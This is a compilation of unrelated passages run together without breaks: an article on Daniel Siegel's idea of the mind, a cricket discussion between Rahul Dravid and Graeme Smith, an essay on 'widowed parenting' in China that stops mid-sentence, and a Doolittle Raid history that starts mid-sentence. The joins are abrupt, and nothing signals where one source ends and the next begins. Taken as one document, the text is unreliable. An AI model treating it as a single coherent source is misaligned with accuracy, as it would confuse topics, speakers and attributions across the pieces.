As he lays out in his recent book, Mind: A Journey to the Heart of Being Human, the conventional view is that your mind is what your brain does, a perspective that, to Siegel, is incomplete. To Siegel, a more holistic conception of the mind is informed by one’s subjective experience — neural activity, yes, but also physical sensations, and the vast troves of data that life gives us. Much of the project of life, and the essence of well-being, Siegel argues, is to have a well-balanced brain, a harmonious mind. Science of Us talked to him about how to do that.
Your mind is a “self-organizing process.” Kind of like a cloud.
Some of the coolest things in the world are complex systems: networks of things that interact with one another in predictable and unpredictable ways. Two of them are, according to Siegel, minds and clouds. A cloud, he says, “regulates” its own “arising”: You don’t know how it’s going to form when the winds turn or a flock of geese flies through it, but the laws of physics governing the interaction say that it will reform, arising in a new, reconfigured shape that takes into account the new inputs. “You don’t have a programmer, or a conductor — it’s just built into the nature of a complex system to have self-organization,” he says. The mind is much the same way: Sense perceptions, autobiographical memories, and bodily sensations eddy through the organism called you, and the mind arises from all that. Like a cloud, the mind is constantly regulating its psychological energy, and that’s why, he says, “the mind has a mind of its own.” If you’ve ever sat down to meditate and seen your thoughts fly by, you’ve got a very intimate case study.
Because it’s constantly arising — and leading to spontaneous, self-generated thoughts — it’s very hard to “control” what’s going through your mind. It’s better to work with the structure that the mind is arising from. To Siegel, the key is “integration,” where different aspects of your mind are developed, but also linked together. It’s an intuitive enough point: If you spend your life absorbed in thought and neglect your body, your body will suffer; similarly, if you never investigate your emotions, your emotional life is likely to get unwieldy. Cultivating your mind is like developing a city, he says: You want the individual neighborhoods to grow, but they need to be linked together by infrastructure to make the organism as a whole flourish.
Minds heal through integration.
Consider the wondrous results that University of Texas psychologist James Pennebaker has found with “expressive writing,” or journaling about emotionally intense events in your life. In the course of his research career, he’s found that when people write lucidly about their lives in that way — for just 20-minute sessions — they grow happier and lose anxiety. They have fewer doctor visits, better-functioning immune systems, and according to one study, they find new jobs faster after getting fired. To Siegel, journaling like that is a “profoundly integrative practice,” because you’re integrating linguistic processing with autobiographical memories and bodily sensations. You “put the feeling into words,” as the expression goes.
There are similar things happening in “talk” therapy, Siegel says, though a better descriptor might be relational therapy. “You’re using the relationship of trust with the therapist to allow different aspects of a person’s memory systems and emotion systems to integrate,” says Siegel, who practices psychotherapy in addition to his research work. The power of the therapist-patient relationship is that it provides the bandwidth for people to bring up and process memories or emotions or bodily sensations that would otherwise overwhelm them. “When you’re not in the relationship with a trusted therapist, it floods you,” he says. “When it’s not flooding you, you’re able to maintain it.”
In a real way, your self extends beyond the boundaries of your body.
Siegel says that our relationships help form our mind, something that personality and relationship psychologists would certainly agree with. If that is true, then a given person is much more relational and interdependent than individualism would lead you to believe. “This body you get to live in for 100 years,” he says, but if what constitutes your mind is the currents of energy that go through your person, then you are very much a part of the people you’re close to. The stakes get even higher: Writing the book changed his feeling about death, he says, because if the mind is relational by nature, your corporeal form doesn’t necessarily need to be around for you to still be present in the world. “With this broader notion of mind, you realize that you’re connected to people that were existing before your body came around,” he says, and you’ll be connected to people, through the actions you take, “after your body goes.” It sounds like a religious, even mystical, perspective — but one that, he says, you can get to purely through science.Play 28:04 Play 28:04 Associates need more exposure than just at World Cups
While the winner of the World Cup is expected to come from among the top eight ranked nations; Bangladesh, Zimbabwe and the four Associate nations that have qualified - Ireland, Scotland, Afghanistan & UAE will be hoping to pull off some upsets. In this episode of CONTENDERS, former India captain Rahul Dravid and former South Africa captain Graeme Smith reflect on the chances of these countries to make an impact. Can any of them sneak into the quarter-finals ahead of one of the big guns? Does the presence of the so called "minnows" undermine an event such as the World Cup? And have the Full Member nations, Bangladesh & Zimbabwe, made adequate progress?
What they said about…
The presence of smaller teams in the World Cup
Smith: With no disrespect to the smaller nations, the ICC is trying to grow the game, expose them to top teams in events like this but it creates a very long tournament that has too many soft games. In a World Cup, you want there to be tension right throughout.
Dravid: The World Cup gets talked about and noticed, this motivates amateur cricketers to play for four years. Also the funding is also based around the fact that they take part in these global events.
Smaller teams being better or worse with T20 exposure
Smith: The longer the game goes, the better team generally will win. The shorter the format the more opportunity you give for the weaker teams to compete.
Dravid: A lot of them are amateur cricketers and can't take the time out to play a long game. So, T20 is the format where you introduce a lot of these teams to international cricket.
Bangladesh's progress over the years
Dravid: When you look at the support they have in Bangladesh, you'd have to say their achievements haven't been that good. The people in Bangladesh deserve a bit more from their cricketers.
Zimbabwe's rising above administrative turmoil
Smith: They have had a lot of challenges over finances, managing finances, a lot of players haven't been paid. They had a walkout where a lot of quality players just walked away from Zimbabwe cricket. They've had unique challenges.
Afghanistan's emergence
Smith: I really hope they do well and do themselves proud. They're going to have some challenging games, they play in Perth against top teams, that'll be a unique experience for them.
Dravid: It's nice to watch them play. They're competitive and they've got some good skills as well.
Ireland's chances of developing further
Smith: They're getting exposed to high standard of domestic level which in turn is improving their international game. Every ICC tournament, they've given us a shock.
Dravid: It's a great example of a team that's got limited resources. Like how we spoke about Zimbabwe not being well managed, Ireland gives you the impression that they're extremely well managed.
Scotland and UAE's World Cup return
Dravid: There are a lot of sacrifices people make [in Scotland] to play cricket. Their performances have been good as well. It's a nice story.
Smith: UAE would want to compete with Bangladesh and take over them and really put up strong performances against the top eight.
© ESPN Sports Media Ltd.Recently, while browsing Chinese social media, I was struck by the popularity of a new buzzword: “widowed parenting.”
Contrary to what you might think, widowed parents are not those whose spouses have died. Instead, the term refers to families in which one parent bears far more responsibility for raising children than the other. In the context of China’s fast-paced, stress-inducing cities like Shanghai, the phrase “widowed parent” is much more likely to be used by exasperated, exhausted mothers, especially when referring to the lack of fatherly involvement in their children’s upbringing and education.
It is not new for Chinese popular culture to target fathers who place the burden of child care too squarely on their partners’ shoulders. A memorable sketch from state broadcaster CCTV’s 2014 Chinese New Year gala featured two actors discussing how children act around their parents. “Whenever they see their mothers, kids are always so talkative,” says one. “It’s always ‘Mom, I’m hungry!’ or ‘Mom, I’m thirsty!’ But whenever they see their dads, the only question they ask is ‘Dad, where’s Mom?’”
Traditional Chinese gender roles cast the husband’s domain as outside the home, where he was meant to work to provide for his family. Women, meanwhile, were confined to the house. As a result, the responsibility of raising children — specifically, the everyday routine of washing, dressing, and feeding them — fell disproportionately on women. Indeed, a father’s absence was often lauded, not condemned, with paternal love likened to a mountain: strong, stable, and protective. Unfortunately, for many young children deprived of such a presence, their relationships to their fathers were like mountains in other ways: unmoving, silent, cold.
Yet we now live in a time when Chinese women are reconsidering their views on family and self-fulfillment. For these women, parenthood is a task to be shared more equitably with the child’s father, and being a good dad is much more dependent on building strong family bonds than merely providing economic security. The acerbic accuracy of the phrase “widowed parenting,” then, has emerged at an opportune time for China’s newly emancipated moms.
Widowed parents call into question an interesting social phenomenon of recent years, namely that mothers are starting to manage the added burden of childhood education. This goes against the grain of traditional thinking, according to which fathers assumed responsibility for their children’s schooling despite their comparative detachment from more mundane affairs. This chimes with the Chinese saying stating that “to raise a child without educating him is the fault of the father” and harks back to a time when the male head of the household bore most of the disgrace should his family fall into ruin.
Widowed parenting is ample evidence, if any more were necessary, that China’s education system has failed to keep up with social progress. - Chen Jingnan, director
But nowadays, faced with the added tasks of ferrying children to and from school, supervising their busy schedules, and ensuring they complete all their homework assignments, so-called widowed mothers are biting back at their husbands with the question: If you don’t contribute anything, then why do I need you at all?
I’m in a chat group with several girlfriends from my college days on WeChat, China’s ubiquitous messaging app. At first, most of the messages were fairly innocuous: Some of us had recently started families, and the thread was clogged with baby pictures and lighthearted banter. As we grew older and our kids started school, however, the tone of the messages began to change.
“Every day is such a struggle for me, but my husband just goes around without a care in the world,” said one. “I got my husband to help our kid practice writing her characters from memory, but instead he just read the words out to her while playing on his phone! What kind of example is he setting?” asked another. “I want to sign my daughter up for cram class, but my husband says there’s no point. He says we never had those classes when we were young, and we still tested into college. It’s not like old times anymore!” exclaimed a third. From time to time, someone will even blurt out: “I want a divorce!”
Although the Chinese government has taken steps to ease the study burden on schoolchildren under the moniker of “happy education,” parents still feel that workloads are heavier and educational requirements are higher than before. At present, the immense stress of getting a child through school is generally shouldered much more by mothers than by fathers. Some schools even tacitly prioritize students with full-time stay-at-home moms during the enrollment period.
Why do a disproportionate number of young fathers refuse to play a leading role in their children’s education? While most of the discussion in sociological circles has focused on individual senses of parental and social responsibility, I believe that another significant cause is the fact that the Chinese education system has historically inherently favored women over men.
Over the last four decades, a catalog of statistics and personal experiences have borne out the fact that Chinese girls surpass their male classmates at both elementary and middle school levels. The discrepancy is widest among young children: Walk into practically any first-grade classroom and ask to see test results, and you will find that the top scorers are usually girls. In addition, girls normally score higher on behavioral evaluations and hold class leadership positions.
Most researchers agree that boys tend to develop more slowly in both physiological and psychological terms until they finish high school. In addition, China’s exam-oriented education system favors girls, as they are usually earlier to cultivate traditionally esteemed skills like self-discipline, meticulousness, and obedience to authority. Boys, meanwhile, are more likely to be distractible and resistant to authority. This, in turn, affects their ability to memorize the reams of material imposed on them by schools from an early age. No wonder that leading Chinese educationist Sun Yunxiao wrote in his 2010 book “Save the Boys”: “The exam-oriented system represents the single greatest threat to the development of our boys.”
Gender-based discrepancies in education also inform the attitudes taken nowadays by many parents who have experienced the system for themselves. Today’s schoolchildren face a veritable snowstorm of rote-learning standardized answers and homework assignments. Their mothers, who learned via this method long ago, are often the first to adapt to the reality of the situation — even if they doubt its efficacy. They are therefore usually the ones to manage their children’s academic affairs. Fathers, meanwhile, seem to approach their children’s schoolwork the same way they did their own homework 20 years ago: by staring blankly at the assignment, reacting passively to instructions, or contradicting directions completely.
I remember a disagreement with my own husband, who by and large is a loving, helpful dad more than willing to support our daughter’s education. But once, when I asked him to take our daughter to a half-day parent-child reading class, he took on the look of a man way out of his depth. “It’s just too much. I simply can’t go!” he jabbered, despite the fact that he had to do little more than flip through a few pages and sit tight for a few hours. In the end, I arranged everything myself.
Widowed parenting is ample evidence, if any more were necessary, that China’s education system has failed to keep up with social progress. Today’s urban women do not want to spend an undue amount of time micromanaging their children’s school lives. While fathers, |
of flying that seemed impossible–yet one that with dash and daring actually had been achieved.
For Americans, still gripped by the shock of Pearl Harbor, the spring of 1942 was a time of testing. Time magazine summed up the mood: ‘The Japanese had attacked the great U.S. island-bridge which stretches to the Orient. It was premeditated murder. The nation had taken a heavy blow.’
Japanese troops had smashed into Hong Kong, Malaya, and the Dutch East Indies. They had captured Wake and Guam. The fall of the Philippines was at hand. The Hawaiian Islands would soon stand as America’s last Pacific outpost. U.S. authorities even feared that Japanese forces might strike the American mainland. Day after day, all of the news was bad.
The Japanese assault on Pearl Harbor had infuriated President Franklin D. Roosevelt. In meeting after meeting with his military chiefs–General George C. Marshall of the U.S. Army, General Henry H. ‘Hap’ Arnold of the U.S. Army Air Corps and Admiral Ernest J. King of the U.S. Navy–Roosevelt urged that they find a way to bomb Japan. He sought the means to bring home to Japan some measure of the real meaning of war.
The plan eventually adopted for the daring raid originated not with a flier but with a submarine officer, Captain Francis Low, operations officer for Admiral King. In mid-January, Low had been sent to Norfolk, Virginia, to look over the Navy’s newest aircraft carrier, the USS Hornet. While at the naval air station there, he noticed the outline of a flight deck painted on one of the runways. Navy fliers used the depiction to practice carrier landings and takeoffs.
As Low stared, twin-engined Army bombers swept overhead on a mock bombing attack. In a split-second–as the planes’ shadows raced along the carrier shape–he had it. What if Army bombers could take off from an aircraft carrier? U.S. commanders dared not attempt a carrier attack against Japan using short-range Navy aircraft, because the enemy’s shore-based planes could detect and attack the ships before they arrived at their launch point. But Army bombers could reach much farther. A long-range punch using such planes might catch Japanese defenders with their guard down.
That night, Low tried his idea on Admiral King. ‘You may have something,’ replied the taciturn admiral. He asked Captain Donald Duncan, his air officer, to turn Low’s glimmer into something more concrete. Duncan worked on the scenario for five days. Then, in longhand, he wrote out the plan. The script, envisioning a dramatic surprise attack on Japan’s major cities by U.S. Army bombers launched from an aircraft carrier, projected the very sort of dramatic retribution that Roosevelt–and America–so intently desired.
General Arnold selected Lieutenant Colonel James H. Doolittle as the man who would marshal the aircraft and men for the mission. By age 45, ‘Jimmy’ Doolittle had earned flying fame perhaps second only to that of Charles A. Lindbergh. Doolittle was one of the leather-jacket breed: aviation pioneers who had flown in open cockpits, with goggles pushed up and eyes on the horizon–larger-than-life figures like Eddie Rickenbacker, Billy Mitchell, and Roscoe Turner.
A stunt flier, a test pilot, and an Army Air Corps officer, Doolittle had always been entranced with planes–and with finding out how high, how fast, and how well they could fly. The steel-nerved airman had set aviation speed records. He had won the ‘Big Three’ air races–the Schneider Cup, the Bendix Trophy, and the Thompson Trophy. He had performed the first outside loop. He had scored a first in ‘blind flying.’ And beyond these accomplishments, he had earned a doctor of aeronautical science degree from the Massachusetts Institute of Technology. If it had wings and looked like a plane, chances were good that Jimmy Doolittle either had flown or could fly it.
Doolittle accepted the challenge without hesitation. Arnold made it clear, however, that it was Doolittle the planner he wanted for this job, not Doolittle the pilot. Jimmy was twenty years older than many of the new crop of fliers. And he had too much know-how, Arnold felt, to risk on a dangerous combat mission.
In early February, Doolittle dutifully put details on paper. ‘The purpose of this special project,’ he wrote, ‘is to bomb and fire the industrial center of Japan.’ Eighteen* Army B-25s carried to within four or five hundred miles of the Japanese home islands by a U.S. Navy aircraft carrier would be launched in predawn darkness, reaching their military and industrial targets in the Tokyo, Yokohama, Osaka-Kobe, and Nagoya sectors at first light. Each plane would carry four five-hundred-pound demolition and incendiary bombs.
Because carrier landings were impossible for the ten-ton aircraft, this would be a one-way mission. Instead of returning to their launch point after the raid, the planes would continue west to the Asian mainland, arriving at fields in China or the Soviet Union. Doolittle estimated the chances for the mission’s success at fifty-fifty.
Although Vladivostok was closer to the targets than any available landing fields in China, Soviet Premier Joseph Stalin would soon rule out that destination. Already hard-pressed by Germany’s invading army, he was not about to risk Japanese enmity by giving aid to Americans who had just bombed Japan’s home islands.
Thus thwarted, Washington turned to Generalissimo Chiang Kai-shek. Marshall and Arnold asked–forcefully–that he permit American raiders to land in eastern China. The bombers would home in on a radio signal at Chuchow, two hundred miles south of Shanghai. After landing at fields there and refueling, they would continue on another eight hundred miles to Chungking, the wartime capital deep in the heart of China. Although fearful of Japanese reprisals, Chiang Kai-shek reluctantly assented.
Despite Arnold’s wishes to the contrary, Doolittle deliberately wrote himself into the script as pathfinder. He would pilot the first B-25 off the carrier. His plane would illuminate Tokyo with incendiaries as a beacon for the fliers following him.
Doolittle and Duncan had concurred that the North American B-25–a twin-engined, high-winged medium bomber–was the only aircraft capable of meeting the mission requirements. The five-man plane could carry a ton of bombs at close to three hundred miles per hour. It had an impressive two-thousand-mile range. Best of all, the plane was compact: 53 feet long with a wingspan a shade wider than 67 feet.
The make-or-break question was whether a B-25 could take off from an aircraft carrier. Duncan arranged to hoist two B-25s, stripped to their lightest weights, aboard the Hornet at Norfolk. Then the big ship put to sea.
In a light snowfall off the Virginia coast, puzzled sailors watched as an Army pilot gunned the first B-25’s engines and then, at the launch officer’s signal, released the brakes. The bomber rolled forward, the carrier’s motion into the wind giving it a running start. The plane became airborne almost immediately, its right wing tip barely missing the ship’s ‘island’ structure. The second B-25 followed suit. Word went to Doolittle. With care and luck, the takeoffs could be accomplished.
Admiral King ordered the Hornet‘s skipper, Captain Marc Mitscher, to have the carrier ready to sail by March 1. He was to proceed through the Panama Canal to the West Coast.
For his planes and fliers, Doolittle turned to the Seventeenth Bombardment Group, a B-25 unit based at Pendleton, Oregon. He asked for, and got, 24 aircraft and about 140 volunteers–pilots, copilots, navigators, bombardiers, and flight engineer/gunners.
Briefing the volunteers soon after their arrival at Eglin Field on Florida’s Gulf Coast, Doolittle warned that this would be a top-secret and extremely hazardous mission. It would take them out of the United States for a few weeks. Beyond that, he could disclose few details. Anyone who wanted to bow out should do so now. No one did.
Throughout March, the B-25 pilots practiced short-field takeoffs. Coached by Lieutenant Henry Miller, a Navy flight instructor, the Army men learned to hang on their props, fighter style. Flags every fifty feet along the runway’s edge helped them gauge the minimum distance required to get their planes airborne. ‘We practiced, over and over, ramming the engines at full power,’ says copilot Jack Sims, ‘taking off at 65 miles per hour in a five-hundred-foot run. It could be done, as long as an engine didn’t skip a beat.’
Doolittle, at his own say-so, also trained and qualified at the short runs.
Flights over the Gulf of Mexico gave navigators experience above open water. Pilots and bombardiers practiced low-level bombing runs across the hills of Texas, New Mexico, and Kansas. The B-25s flew so low they ducked under high-tension power lines.
Flight Surgeon Thomas White asked to join the mission. Much as the presence of a doctor would be appreciated, the only way one could take part would be as a full-fledged crew member. With hurry-up gunnery training, White won an assignment as gunner/surgeon.
To extend the B-25s’ range, technicians installed 225-gallon auxiliary fuel tanks in the planes’ bomb bays and replaced the bottom turret mechanism with a 60-gallon tank. Engineers at the Martin Aircraft Company designed a 160-gallon collapsible tank for use in the crawlway over the bomb bay.
Gunnery and bombing officer C. Ross Greening came up with two homemade innovations. The mission was too risky to use the highly classified Norden bombsight, and the complex mechanism was not suitable for low-level runs anyway. Greening devised a two-piece gadget–at a cost of twenty cents–in its place. And to discourage enemy fighter planes, he mounted two broomsticks, painted black to resemble gun barrels, in each bomber’s tail cone.
By the end of March, Doolittle knew that the men were mission-fit–and that he had chosen the right lead pilot: himself. Arnold still insisted he needed Doolittle in Washington. Doolittle felt he was needed over Tokyo: ‘I know more about this mission than anyone else. And I know how to lead it.’ Arnold, with reluctance, finally agreed.
Late in March, 22 B-25s and their crews flew from Eglin to McClellen Field near Sacramento, California. After final maintenance, they continued on to Alameda Naval Air Station near Oakland, California. There, cranes hoisted 16 of the planes aboard the carrier Hornet.
On the afternoon of April 2, with the dark-green bombers lashed onto its flight deck, the aircraft carrier, escorted by two cruisers, four destroyers, and an oiler, sailed into the Pacific. The Hornet had just cleared the Golden Gate Bridge when the bosun’s whistle sounded, and Captain Mitscher announced over the public address system that ‘the target of this task force is Tokyo!’ The ship’s crew broke out in cheers.
It would take a phalanx of U.S. Navy warships–Task Force 16–to get the Doolittle Raiders within striking distance of Japan. On April 8, Admiral William Halsey led the second half of this force–built around the aircraft carrier Enterprise–out of Pearl Harbor. Five days later, the two groups rendezvoused in the North Pacific.
Halsey, in overall command of the task force, hoped to close to within about 400 miles of the Japanese coast before launching the B-25s. There was a taste of retribution in the sea air. Just as Kido Butai, the Japanese task force, had moved furtively eastward across the North Pacific toward Pearl Harbor four months earlier, so now American ships stealthily sailed westward toward Japan. The stakes were high. The task force was sailing boldly into treacherous waters. The Hornet and Enterprise represented half of America’s carrier strength in the Pacific. The lives of thousands of American sailors on 16 warships were at risk.
With the Hornet‘s own planes stored below the flight deck to make room for Doolittle’s bombers, the task force relied on the Enterprise to provide scouting and air cover. Ships’ radars scanned the seas ahead for enemy ships and aircraft. Task Force 16 steamed almost due west at twenty knots through rain, fog, and heavy seas.
Doolittle allowed each crew to pick its targets. Some wanted to bomb the Imperial Palace. He forbade this, not out of regard for Emperor Hirohito, but because such an assault would only inflame Japan’s fighting spirit.
The fliers devoted hours to poring over their target maps. ‘Doc’ White held first aid sessions. Commander Frank Akers, the Hornet‘s navigator, helped his Army counterparts sharpen their skills. Lieutenant Commander Steve Jurika, an intelligence officer, gave the men briefings about Japan and taught them a phrase that he thought was Chinese for ‘I am an American.’
The hand-picked flight crews felt confident. Their training had been thorough. They would be given the best chance that the Navy could get for them. But most of them had never experienced combat.
One night, Corporal Jacob DeShazer, bombardier for Plane No. 16, ‘Bat Out of Hell,’ stood alone on the flight deck. ‘I began to wonder how many more days I was to spend in this world,’ he recalled. ‘Maybe I wasn’t so fortunate, after all, to get to go on this trip.’
Task Force 16 was due for an unpleasant surprise. Even before Mitscher’s ships had rendezvoused with Halsey’s, the enemy knew they were coming. During April 10-12, Japanese fleet radio intelligence picked up messages transmitted between the two task groups and Pearl Harbor.
The Japanese command calculated that the Americans would have to close to within about three hundred miles of the coast to make a carrier strike. That distance marked the outer limit for U.S. Navy planes flying out from and back to their carriers. The Japanese Twenty-Sixth Air Flotilla put 69 land-based bombers on alert. Ranging out as far as six hundred miles, they would hit the carrier force before its planes could be launched.
Unknown to the commanders of Task Force 16, Japan had yet another line of defense–a flotilla of radio-equipped trawlers situated along an arc about six hundred miles out from the coastline. Any enemy force crossing that line was in jeopardy of being seen and reported by a picket boat.
On April 14, back in Washington, D.C., Admiral King went to the White House to give the president the first detailed information that Roosevelt had of the planned raid.
On April 16-17, the tempo of preparations aboard the Hornet increased. Deck crews moved the B-25s to the rear of the flight deck in preparation for launch. Fueling teams topped off the bombers’ gas tanks. Ordnancemen hoisted four bombs into each aircraft, and the Army gunners loaded.30- and.50-caliber ammunition. Flight engineers checked and rechecked the planes’ mechanical and hydraulic systems.
By the morning of the seventeenth, when the American vessels had closed to within about 1,200 miles of Tokyo, the task force refueled from the oilers. Then, at 2:40 p.m., the two carriers and four cruisers increased speed to 28 knots for the final run to the launch point. The destroyers and oilers soon disappeared astern.
At 3 a.m. on April 18, radar operators aboard the Enterprise picked up images of two small ships about 11 miles ahead. ‘General quarters’ sounded, startling the task-force crew members, and especially the Doolittle Raiders. Halsey veered the task force to starboard to avoid the contacts.
Day dawned gray. A scout plane from the Enterprise, forty miles out at 5:58 a.m., spotted a Japanese patrol boat. Maintaining radio silence, the pilot scrawled his sighting report, placed it in a canvas bag, then dropped it on the carrier’s deck.
Halsey again shifted course. Pitching and rolling in thirty-foot swells, the fast-moving ships swept in and out of rain squalls. Each mile gained brought the Army fliers closer to their objectives–and placed the task force in greater danger.
Luck–and time–finally ran out at 7:38 a.m. Lookouts aboard the Hornet spotted an enemy patrol boat. The tiny craft was just visible in the mist, about ten miles away. The task force had encountered Japanese Patrol Boat No. 23, the Nitto Maru.
General quarters sounded again. As Doolittle and Mitscher watched from the Hornet‘s bridge, the cruiser Nashville opened fire on the boat with her six-inch guns, but switched to rapid fire after one salvo. Dive bombers from the Enterprise joined in the attempt to sink the Japanese vessel, and finally, at 8:23 a.m., the Nitto Maru went down.
The Nitto Maru‘s radio operator had time enough to get a message off to the Japanese Fifth Fleet, warning that ‘three enemy carriers’ had been sighted. Enterprise radio operators picked up a sudden burst of signals between Tokyo and Japanese warships. The Japanese knew the Americans were out there–and where.
The Hornet was now about seven hundred miles from Tokyo. Nine more hours of sailing would have gotten the fliers to the planned takeoff point. Such, however, was not to be. Hurriedly, the B-25 crews gathered together their personal gear and made last-minute preparations for takeoff.
At 8 a.m. Halsey flashed the ‘go’ signal to the Hornet: ‘launch planes x to colonel doolittle and gallant command x good luck and god bless you.’
Loudspeakers blared: ‘Army pilots, man your planes!’
‘Even before we took off,’ David Jones recalled, ‘we knew we had a fuel problem. With the task force spotted, we would have to fly maybe four hundred miles farther than planned. Chances of reaching those airstrips in China were worse than bad.’
The task force adjusted course to starboard, turning into a 27-knot wind. Green water broke over the Hornet‘s pitching flight deck.
Time for Plane No. 1 to go. Doolittle waved a farewell to Mitscher up on the bridge. Mitscher saluted.
At 8:15 a.m. Doolittle gunned the engines of his B-25, now weighing some 15 tons with its full load of fuel and bombs. A Navy flight deck officer, whirling a black checkered flag, gave Doolittle the ‘go’ signal. Deck crews pulled the chocks from the wheels. Then the starter hit the deck as the bomber began rolling down the 470 feet of clear flight deck.
Pilot Ted Lawson, writing in Thirty Seconds Over Tokyo, his 1943 account of the raid, described Doolittle’s takeoff:
‘We watched him like hawks, wondering what the wind would do to him, and whether we could get off in that little run to the bow. If he couldn’t, we couldn’t.
‘Doolittle picked up speed and held to his line, and, just as the Hornet lifted up on top of a wave and cut through it at full speed, Doolittle’s plane took off. He had yards to spare. He hung his ship almost straight up on its props, until we could see the whole top of his B-25. Then he leveled off and I watched him come around in a tight circle and shoot low over our heads.’
Doolittle had circled back to match his magnetic compass heading with the ship’s course. Copilot Richard Cole remembers looking down at the carrier’s deck: ‘We were leaving the ‘last friendly patch of earth.’ It was a kind of farewell.’
Pilot Travis Hoover went off second; Robert Gray third; Everett Holstrom fourth; David Jones fifth; Dean Hallmark sixth. Lawson, in Plane No. 7, nicknamed the ‘Ruptured Duck,’ inadvertently left his flaps up and dipped perilously low before finally becoming airborne at 8:30 a.m. At intervals that ranged from one to five minutes, the next eight planes took off without incident.
Task Force 16 had accomplished its mission. Within minutes the carriers and cruisers reversed course and headed back toward Pearl Harbor at twenty-five knots.
Jimmy Doolittle was on his way. His B-25 whipped along over the Pacific Ocean, barely forty feet above the waves. Flying at a fuel-conserving 150 miles per hour, the plane would reach land at about midday.
At 9:45 a.m. a Japanese patrol plane, six hundred miles off Japan’s east coast, sent an odd report to Tokyo. The crew had spotted what they took to be a twin-engine land-plane flying toward Japan. Tokyo intelligence dismissed the report.
Flying independently, the 16 B-25s stretched out in a ragged line some two hundred miles long. They pushed against twenty-mile-an-hour headwinds. Shifts in the winds scattered them.
The planes were to go in as lone raiders. Three of those following Doolittle would hit the northern sector of Tokyo, three the central sector, and three the southern sector. Three others would strike Kanagawa, Yokohama, and the Yokosuka Navy Yard. The last three bombers would hit targets in Nagoya, Osaka, and Kobe.
A few minutes before noon, Doolittle’s plane crossed the coast about eighty miles northeast of Tokyo. Minutes later, as Doolittle raced south toward the city at a thirty-foot altitude, he saw nine Japanese fighters a thousand feet above him. At a little past noon the first B-25 was over Tokyo.
A light haze lay over the city. Visibility downward was good. The bomber passed over the Imperial Palace. Then it reached the target area–a complex of factories. Doolittle climbed to 1,200 feet. Bombardier Fred Braemer peered at checkpoints on his map-grid. He lined up the first target in his twenty-cent bombsight. The bomb-bay doors opened. At about 12:15 p.m., a red light blinked in rapid succession on Doolittle’s instrument panel. Four incendiary clusters rained down on Tokyo.
Antiaircraft fire burst around the B-25, rocking the plane. Doolittle was later to write laconically of the getaway: ‘Lowered away to housetops and slid over western outskirts into low haze and smoke. Turned south and out to sea.’
Scattered by headwinds and by variances in the settings for their magnetic compasses, the arriving B-25s swept in over Tokyo from several directions–confusing its defenders as to their point of origin.
The Raiders skimmed over treetops and hillocks. Pilots gunned their planes up to about a thousand feet over the sprawling city. Bombardiers brought their sights to bear on targets. Then came the blink, blink, blink as four five-hundred-pound bombs plummeted from each bomber.
Everett Holstrom, finding his plane’s gun turret jammed, had to veer out of the path of a squadron of fighters. Richard Joyce, pursued by half a dozen fighters, put his engines ‘right on the red line’–increasing speed to more than three hundred miles an hour–to elude them. Some fighters made skittish runs at the B-25s. In response, raider gunners were able to hit at least two, and perhaps more of them.
Black splotches of antiaircraft fire marked the sky. Bursts hit barrage balloons. Although erratic, ground gunners did send shell fragments into several B-25s. But no American plane was shot down.
The Raiders went after war-industry targets: steel works, oil refineries, ammunition dumps, aircraft factories, dockyards, and supply centers. In the main, because of their careful study of target maps, their low altitude, and their arrival in broad daylight, the attackers scored quite accurate bomb hits.
It was all fast and furious. As soon as each pilot dropped his bombs he pushed the control yoke forward, dove to rooftop level, and then bore southwest along the Japanese coast, toward what he hoped would be the haven of China.
In the afternoon’s fading light, all the fliers became sharply aware of one looming fact: they probably weren’t going to be able to reach the airstrips near Chuchow. ‘We were about an hour out of Japan,’ flight engineer/gunner Joseph Manske remembered. ‘The pilot said on the intercom that we wouldn’t have enough fuel to reach the landing fields. That was a real attention-getter. I said to myself, ‘Joe, what in the world did you get yourself into?”
Turning west over the East China Sea, the B-25s encountered fog, then rain. The ceiling kept getting lower. The navigators had to estimate their positions by dead-reckoning. The planes bounded through updrafts and downdrafts.
Then, to their surprise, the Raiders picked up a tailwind. Weather maps based on 75 years of data showed the prevailing winds as blowing from China toward Japan. But on this perilous day, the winds blew toward China.
There was an almost poetic irony to it. The wind had become an American kamikaze–the fliers’ ‘divine wind’–and they had found it just as they left Japan.
Thirteen hours after takeoff, the B-25s were somewhere near the China coast. Blackness enveloped the bombers. Fuel gauges read close to empty. The pilots listened for the homing signal–a ’57’ transmitted in Morse code–that was to guide them to the airfields near Chuchow. But they heard only silence.
Out in the far reaches of China, the paper-plan had fallen apart. The B-25s were supposed to land at five designated airstrips. Radio homing signals from each field would guide them to their touchdowns.
But the Tokyo Raiders were caught in an inadvertent web of command intrigue. Marshall and Arnold, wary of security leaks, had given Chiang Kai-shek few details of the raid, and none at all to Colonel Claire Chennault, commander of the Flying Tigers. At the last possible moment they called upon General Joseph W. Stilwell, U.S. commander in the China-Burma-India theater, to get radio beacons to the five fields.
There was confusion in communiqués. Japanese troops neared the airstrips. Chiang Kai-shek wanted the’special project’ delayed. The plane dispatched to deliver the radio beacons crashed in a storm. There would be no radio signals to guide the Doolittle Raiders to safe landings.
In his memoirs, Chennault years later bitterly criticized the U.S. high command for not taking him into their confidence: ‘If I had been notified, a single Flying Tigers command ground radio station plugged into the East China net could have talked most of the Raiders into friendly fields.’
B-25s dropped flares into the night. Crew members looked down for some sign as to whether they were over water or land. But the flare-light disappeared in the clouds.
In a last bid to reach the airfields, most of the pilots continued west toward Chuchow. Crew members wondered how close they were to Japanese-occupied territory. By now the gas gauges read a hair above ‘zero.’ Engines began to sputter. The end, some pilots figured, would come in the China Sea. They would keep flying until they ran out of gas and then jump out.
Eleven crews did just that. At 9:30 p.m., Doolittle switched his controls to the automatic pilot and ordered his crew to bail out. Then he, too, left the aircraft
Fortune turned its back on the crew of Plane No. 16, ‘Bat Out of Hell.’ After flying two hundred miles into China, pilot William Farrow ordered his men to jump. All came down in Japanese-held territory. By morning the five fliers–Farrow, copilot Robert Hite, navigator George Barr, bombardier Jacob DeShazer, and engineer/gunner Harold Spatz–were prisoners.
Four of the B-25s made forced landings along the China coast. Trav Hoover’s bomber ran out of fuel near Japanese-held territory. His flight engineer/gunner, Douglas Radney, suggested over the intercom that ‘we ought to stick together.’ Instead of ordering his crew to bail out, Hoover belly-landed the B-25 on a hillside rice paddy. The crew members emerged unhurt and, after Hoover set fire to the bomber to destroy anything of use to the Japanese, scrambled westward into the hills.
